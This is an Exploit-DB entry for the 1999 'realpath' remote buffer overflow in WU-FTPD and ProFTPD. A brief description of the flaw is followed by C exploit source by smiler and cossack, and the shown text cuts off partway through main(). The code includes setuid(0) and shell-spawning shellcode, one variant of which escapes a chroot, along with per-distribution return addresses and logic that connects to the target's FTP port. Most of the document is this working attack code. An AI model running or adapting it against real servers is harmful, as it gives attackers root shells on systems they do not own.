Exploit-DB #19086
Description: WU-FTPD 2.4.2 / SCO Open Server 5.0.5 / ProFTPd 1.2 pre1 - 'realpath' Remote Buffer Overflow (1)
Type: remote
Platform: linux
Date: 1999-02-09
Author: smiler & cossack

Exploit:
/*
source: https://www.securityfocus.com/bid/113/info

There is a vulnerability in ProFTPD versions 1.2.0pre1 and earlier and in wu-ftpd 2.4.2 (beta 18) VR9 and earlier. This vulnerability is a buffer overflow triggered by unusually long path names (directory structures). For example, if a user has write privilages he or she may create an unusually long pathname which due to insuficient bounds checking in ProFTPD will overwrite the stack. This will allow the attacker to insert their own instruction set on the stack to be excuted thereby elavating their access.

The problem is in a bad implementation of the "realpath" function.
*/

/*
 * Remote/local exploit for wu-ftpd [12] through [18]
 * gcc w00f.c -o w00f -Wall -O2
 *
 * Offsets/padding may need to be changed, depending on remote daemon
 * compilation options. Try offsets -5000 to 5000 in increments of 100.
 *
 * Note: you need to use -t >0 for -any- version lower than 18.
 * Coded by smiler and cossack
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>


/* In a beta[12-17] shellcode_A overflow, we will not see responses
to our commands. Add option -c (use chroot code) to fix this. */
unsigned char hellcode_a[]=
        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
        "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20"
        "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c"
        "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd"
        "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff"
        "\x0f\x42\x49\x4e\x0f\x53\x48";

unsigned char hellcode_b[]=
        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
        "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80"
        "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
        "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e"
        "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31"
        "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03"
        "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89"
        "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d"
        "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
        "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31"
        "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";
 

char *Fgets(char *s,int size,FILE *stream);
int ftp_command(char *buf,int success,FILE *out,char *fmt,...);
int double_up(unsigned long blah,char *doh);
int resolv(char *hostname,struct in_addr *addr);
void fatal(char *string);
int usage(char *program);
int tcp_connect(struct in_addr host,unsigned short port);
int parse_pwd(char *in,int *pwdlen);
void RunShell(int thesock);



struct type {
        unsigned long ret_address;
        unsigned char align; /* Use this only to offset \xff's used */
        signed short pad_shift; /* how little/much padding */
        unsigned char overflow_type; /* whether you have to DELE */
        char *name;
};

/* ret_pos is the same for all types of overflows, you only have to change
   the padding. This makes it neater, and gives the shellcode plenty of
   room for nops etc
 */
#define RET_POS 190 
#define FTPROOT "/home/ftp"


/* the redhat 5.0 exploit doesn't work at the moment...it must be some
   trite error i am overlooking. (the shellcode exits w/ code 0375) */
struct type types[]={
        { 0xbffff340, 3, 60, 0,  "BETA-18 (redhat 5.2)", },   
        { 0xbfffe30e, 3,-28, 1,  "BETA-16 (redhat 5.1)", },   
        { 0xb2ffe356, 3,-28, 1,  "BETA-15 (redhat 5.0)", },   
        { 0xbfffebc5, 3,  0, 1,  "BETA-15 (slackware 3.3)", },
        { 0xbffff3b3, 3,  0, 1,  "BETA-15 (slackware 3.4)", },
        { 0xbffff395, 3,  0, 1,  "BETA-15 (slackware 3.6)", },
        { 0,0,0,0,NULL }
                    };
 
struct options {
        char start_dir[20];
        unsigned char *shellcode;
        unsigned char chroot;
        char username[10];
        char password[10];
        int offset;
        int t;
} opts;

/* Bit of a big messy function, but hey, its only an exploit */

int main(int argc,char **argv)
{
        char *argv0,ltr;
        char outbuf[1024], inbuf[1024], ret_string[5];
        int pwdlen,ctr,d;
        FILE *cin;
        int fd;
        struct in_addr victim;

        argv0 = strdup(argv[0]);
        *opts.username = *opts.password = *opts.start_dir = 0;
        opts.chroot = opts.offset = opts.t = 0;
        opts.shellcode = hellcode_a;

        while ((d = getopt(argc,argv,"cs:o:t:"))!= -1){
                switch (d) {
                case 'c':
                        opts.shellcode = hellcode_b;
                        opts.chroot = 1;
                        break;
                case 's':
                        strcpy(opts.start_dir,optarg);
                        break;
                case 'o':
                        opts.offset = atoi(optarg);
                        break;
                case 't':
                        opts.t = atoi(optarg);
                        if ((opts.t < 0)||(opts.t>5)) {
                                printf("Dont have that type!\n");
                                exit(-1);
                        }
                }
        }
        
        argc -= optind;
        argv += optind;

        if (argc < 3)
                usage(argv0);

        if (!resolv(argv[0],&victim)) {
                perror("resolving");
                exit(-1);
        }
        strcpy(opts.username,argv[1]);
        strcpy(opts.password,argv[2]);
        
        if ((fd = tcp_connect(victim,21)) < 0) {
                perror("connect");
                exit(-1);
        }
        
        if (!(cin = fdopen(fd,"r"))) {
                printf("Couldn't get strea